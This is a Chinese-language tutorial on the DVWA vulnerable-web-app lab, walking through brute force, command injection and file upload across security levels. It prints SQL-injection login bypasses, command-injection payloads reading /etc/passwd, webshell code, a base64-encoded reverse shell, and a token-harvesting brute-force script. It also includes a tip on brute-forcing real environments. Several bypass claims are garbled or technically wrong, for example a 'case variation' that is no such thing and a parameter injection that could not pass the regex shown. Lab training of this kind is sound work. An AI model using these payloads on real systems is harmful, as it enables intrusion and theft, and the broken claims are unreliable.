1. DVWA靶场环境搭建与配置详解
DVWA(Damn Vulnerable Web Application)是我在网络安全教学中最常推荐的实战靶场之一。作为一个专门设计用于安全测试的PHP/MySQL应用,它包含了Web安全领域最常见的十大漏洞类型,并提供了从低到高四个安全等级,非常适合新手循序渐进地学习。
1.1 基础环境准备
在Windows系统上部署DVWA,我强烈推荐使用XAMPP集成环境包。最新版本的XAMPP(如8.2.4)已经包含了PHP 8.2、MySQL 8.0和Apache 2.4等组件,完全兼容DVWA的运行需求。安装时需要注意:
- 关闭所有杀毒软件(特别是实时防护功能)
- 选择安装路径不要包含中文或空格
- 安装完成后务必以管理员身份运行控制面板
经验之谈:我习惯将XAMPP安装在D盘根目录(D:\xampp),这样既避免了系统盘权限问题,又方便后续管理。
1.2 DVWA部署实战
从GitHub获取DVWA最新源码后,解压到htdocs目录下的dvwa文件夹。此时需要特别注意config.inc.php文件的配置:
php复制$_DVWA = array();
$_DVWA[ 'db_server' ] = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ] = 'root';
$_DVWA[ 'db_password' ] = '';
这里最常见的坑是MySQL认证方式问题。MySQL 8.0默认使用caching_sha2_password插件,而老版本PHP可能不支持。解决方法有两种:
- 在MySQL中创建专用用户并指定mysql_native_password插件:
sql复制CREATE USER 'dvwa'@'localhost' IDENTIFIED WITH mysql_native_password BY 'p@ssw0rd';
GRANT ALL PRIVILEGES ON dvwa.* TO 'dvwa'@'localhost';
- 或者修改root用户的认证方式(不推荐生产环境使用):
sql复制ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY '';
1.3 常见问题排查
当遇到"Could not connect to the MySQL database"错误时,建议按以下步骤排查:
- 确认MySQL服务已启动(net start mysql)
- 检查防火墙是否放行3306端口
- 测试命令行连接:
mysql -u root -p - 查看PHP错误日志(xampp\php\logs\error_log)
我遇到过最棘手的情况是PHP的mysqli扩展未启用,需要在php.ini中取消注释:
ini复制extension=mysqli
2. 暴力破解(Brute Force)漏洞深度解析
暴力破解是Web安全中最基础也最有效的攻击手段之一。DVWA的Brute Force模块完美展示了不同安全等级下的防护机制演变。
2.1 Low级别漏洞分析
查看low.php源码可以发现,这个级别没有任何防护措施:
php复制$user = $_GET['username'];
$pass = $_GET['password'];
$query = "SELECT * FROM `users` WHERE user='$user' AND password='$pass';";
这种代码存在两个致命问题:
- 未对输入进行任何过滤,导致SQL注入
- 没有尝试次数限制,允许无限次猜测
2.1.1 Burp Suite爆破实战
使用Burp Intruder进行爆破时,我推荐以下配置技巧:
- 攻击类型选择"Cluster bomb"
- Payload Sets设置:
- 第一组:常见用户名列表(admin,root,test等)
- 第二组:Top1000弱密码字典
- Grep-Match添加"Login failed"关键词
- 设置请求间隔(建议500ms以上避免被临时封锁)
专业提示:在真实环境中,建议先通过信息收集获取可能的用户名(如网站注册页面、员工邮箱格式等),可以大幅提高爆破效率。
2.1.2 SQL注入绕过认证
利用简单的SQL注入payload可以直接绕过认证:
code复制username: admin' --
password: [任意]
这个payload的原理是将密码检查部分注释掉,使得SQL语句变为:
sql复制SELECT * FROM `users` WHERE user='admin' -- ' AND password='[任意]'
2.2 Medium级别防护分析
Medium级别引入了两项改进:
php复制$user = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user);
$pass = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass);
sleep(2);
- mysqli_real_escape_string函数过滤特殊字符
- sleep(2)增加每次尝试的延迟
2.2.1 爆破策略调整
虽然增加了2秒延迟,但Burp Intruder仍然可以自动化爆破。关键技巧是:
- 在"Resource Pool"中设置最大并发请求为1
- 使用"Pitchfork"攻击类型配合用户名/密码组合
- 添加"Connection: close"请求头避免连接保持
对于小型密码字典(<1000个组合),这种攻击仍然可以在合理时间内完成。
2.3 High级别防护机制
High级别引入了CSRF Token防护:
php复制$pass_hashed = md5($pass);
$query = "SELECT * FROM `users` WHERE user='$user' AND password='$pass_hashed';";
2.3.1 自动化爆破实现
要突破Token防护,需要编写Python脚本实现以下流程:
python复制import requests
from bs4 import BeautifulSoup
session = requests.Session()
login_url = "http://localhost/dvwa/login.php"
# 获取CSRF Token
response = session.get(login_url)
soup = BeautifulSoup(response.text, 'html.parser')
token = soup.find('input', {'name': 'user_token'})['value']
# 构造爆破请求
data = {
'username': 'admin',
'password': 'password',
'user_token': token,
'Login': 'Login'
}
response = session.post(login_url, data=data)
这个脚本的关键是维持同一个session并动态获取token。在实际攻击中,可以将该逻辑嵌入到Burp的Macro中实现自动化。
2.4 Impossible级别最佳实践
Impossible级别展示了完整的防护方案:
php复制// 失败次数记录
$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
// 账户锁定机制
if( $data->rowCount() == 1 ) {
$row = $data->fetch();
if( $row['failed_login'] >= 3 ) {
$login_status = "locked";
}
}
// 使用PDO预处理语句
$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->bindParam( ':password', $pass, PDO::PARAM_STR );
$data->execute();
这个实现包含了三个关键安全措施:
- 账户锁定机制(3次失败后锁定15分钟)
- PDO预处理语句彻底杜绝SQL注入
- 完善的登录审计日志
3. 命令注入(Command Injection)漏洞剖析
命令注入漏洞允许攻击者在服务器上执行任意系统命令,危害性极高。DVWA中的这个模块展示了不同防护等级下的命令注入场景。
3.1 Low级别命令注入
查看源码可见明显的安全漏洞:
php复制$target = $_REQUEST['ip'];
$cmd = shell_exec("ping -c 4 $target");
攻击者可以轻松注入额外命令:
code复制127.0.0.1; cat /etc/passwd
3.1.1 常用注入技巧
-
命令分隔符:
;顺序执行&后台执行|管道传递&&前命令成功则执行后命令
-
获取系统信息:
code复制127.0.0.1 && uname -a -
写入Webshell:
code复制127.0.0.1 && echo '<?php system($_GET["cmd"]);?>' > shell.php
3.2 Medium级别防护分析
Medium级别尝试过滤部分特殊字符:
php复制$substitutions = array(
'&&' => '',
';' => '',
);
$target = str_replace( array_keys($substitutions), $substitutions, $target );
但这种过滤很容易绕过:
- 使用未过滤的分隔符:
127.0.0.1 & cat /etc/passwd - 大小写变形:
127.0.0.1 &;& cat /etc/passwd - 使用变量替换:
127.0.0.1$a=cmd$a=;${a}cat /etc/passwd
3.3 High级别防护机制
High级别采用了更严格的白名单验证:
php复制if( !(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/', $target)) ) {
echo "ERROR: Invalid IP address";
exit;
}
3.3.1 高级绕过技巧
即使如此严格的验证,在某些特殊情况下仍可能被绕过:
-
利用参数注入:
code复制127.0.0.1 -v && cat /etc/passwd -
环境变量注入:
code复制127.0.0.1$IFS$(echo${IFS}"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx"|base64${IFS}-d)
安全建议:永远不要将用户输入直接传递给系统命令。必要时应使用escapeshellarg()和escapeshellcmd()函数进行过滤。
4. 文件上传漏洞实战
文件上传功能是Web应用中最常见的攻击入口之一。DVWA的文件上传模块展示了不同类型的安全防护。
4.1 Low级别漏洞利用
Low级别没有任何防护:
php复制$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
$target_path .= basename($_FILES['uploaded']['name']);
move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path);
攻击者可以直接上传PHP webshell:
php复制<?php system($_GET['cmd']); ?>
4.1.1 防御绕过技巧
-
修改Content-Type:
code复制Content-Type: image/jpeg -
添加图片头信息:
php复制GIF89a<?php system($_GET['cmd']); ?> -
利用双扩展名:
code复制shell.php.jpg
4.2 Medium级别防护分析
Medium级别检查了文件类型:
php复制if( ($_FILES['uploaded']['type'] == "image/jpeg") ||
($_FILES['uploaded']['type'] == "image/png") ) {
// 允许上传
}
这种检查可以轻松绕过:
- 使用Burp修改Content-Type头
- 上传含恶意代码的图片文件(如Exif注入)
4.3 High级别全面防护
High级别实施了多重检查:
php复制// 检查文件扩展名
$valid_extensions = array('.jpg', '.jpeg', '.png');
$ext = strtolower(substr($_FILES['uploaded']['name'], strrpos($_FILES['uploaded']['name'], '.')));
// 检查文件内容
$img_info = getimagesize($_FILES['uploaded']['tmp_name']);
if(!in_array($ext, $valid_extensions) || !$img_info) {
echo "Invalid file";
exit;
}
4.3.1 高级攻击手法
即使如此严格的检查,仍存在攻击可能:
- 利用图像处理库漏洞(如ImageMagick的Ghostscript漏洞)
- 利用服务器配置错误(如.htaccess配置不当)
- 利用文件包含漏洞配合上传
最佳实践:文件上传应该存储在非Web可访问目录,通过后端脚本代理访问;或者使用云存储服务完全隔离。